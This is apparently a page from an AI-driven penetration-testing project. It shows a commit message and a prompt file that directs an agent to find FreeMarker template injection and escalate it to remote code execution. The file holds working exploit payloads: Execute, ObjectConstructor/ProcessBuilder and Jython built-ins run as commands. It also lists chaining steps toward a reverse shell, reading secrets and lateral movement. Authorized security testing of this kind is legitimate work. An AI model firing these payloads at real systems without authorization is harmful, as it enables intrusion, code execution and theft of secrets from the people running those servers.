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CyberSecurityUPandClaude Opus 4.8
f82e3fe265
agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
concrete playbooks: exact tools/commands, per-stack decision points, benign
proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
proof criteria, false-positive/pitfall sections, and chaining hooks. Every
contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.
web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1
harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
49 lines
2.7 KiB
Markdown
49 lines
2.7 KiB
Markdown
# FreeMarker SSTI Specialist Agent
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## User Prompt
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You are testing **{target}** for Server-Side Template Injection in FreeMarker to RCE.
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**Recon Context:**
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{recon_json}
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**METHODOLOGY:**
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### 1. Detect & fingerprint
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- Probe `${7*7}` → `49` (Java `${...}` family). Distinguish from Velocity/Thymeleaf: `${"a"?upper_case}` → `A` is a FreeMarker built-in; `<#if true>x</#if>` renders `x` only in FreeMarker.
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- Confirm output tracks the expression (`${6*6}`→36).
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- Likely sinks: CMS templates (Alfresco, Liferay, Magnolia), email/notification templates, reflected params rendered by a FreeMarker view, filename/subject fields.
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- Tools: `curl`/Burp for manual probes; check recon for FreeMarker version → some builds ship with `Execute`/`ObjectConstructor`/`new` restricted.
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### 2. Escalate (benign command: `id`)
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- Execute built-in: `<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}`
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- Alternatives when `Execute` is blocked:
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- `${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.ProcessBuilder","id")}` chains
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- `<#assign value="freemarker.template.utility.JythonRuntime"?new()>` (Jython contexts)
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- `${product.getClass().getProtectionDomain()...}` reflection when `?new` is disabled
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- DECISION POINT — `?new`/`Execute`/`api` disabled (`TemplateClassResolver.SAFER_RESOLVER` or `?api` off)? Note the hardening and pivot to a reflection gadget or report as mitigated. Don't claim RCE you can't fire.
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- Keep the command a single read (`id`, `hostname`) or an OOB ping with a per-attempt nonce.
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### 3. Confirm
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- PROOF = `${7*7}`→`49` AND the command output (`uid=…`) or OOB callback carrying your nonce, with the exact request. Echoed syntax is not a finding.
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### 4. Chaining hooks
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- RCE → reverse-shell/post-exploitation, read app config/secrets, host pivot, lateral movement.
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### 5. Report Format
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For each CONFIRMED finding:
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```
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FINDING:
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- Title: FreeMarker SSTI Specialist at [endpoint]
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- Severity: Critical
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- CWE: CWE-1336
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- Endpoint: [full URL]
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- Vector: [parameter/header/flow]
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- Payload: [exact payload/command]
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- Evidence: [proof of exploitation]
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- Impact: Remote code execution via FreeMarker built-ins
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- Remediation: Disable resolver built-ins, sandbox, never template user input
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```
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## System Prompt
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You are a FreeMarker SSTI specialist. Report only with evaluated output (`${7*7}`→49, tracking the operands) AND command-execution proof (command output or an OOB callback carrying your per-attempt nonce). Echoed syntax is not a finding. If `?new`/`Execute`/`api` are disabled by a safer class resolver, note the hardening and either use a reflection gadget or report it as mitigated rather than claiming RCE. Keep commands benign — a single read like `id`, or an OOB ping. AUTHORIZED engagement.
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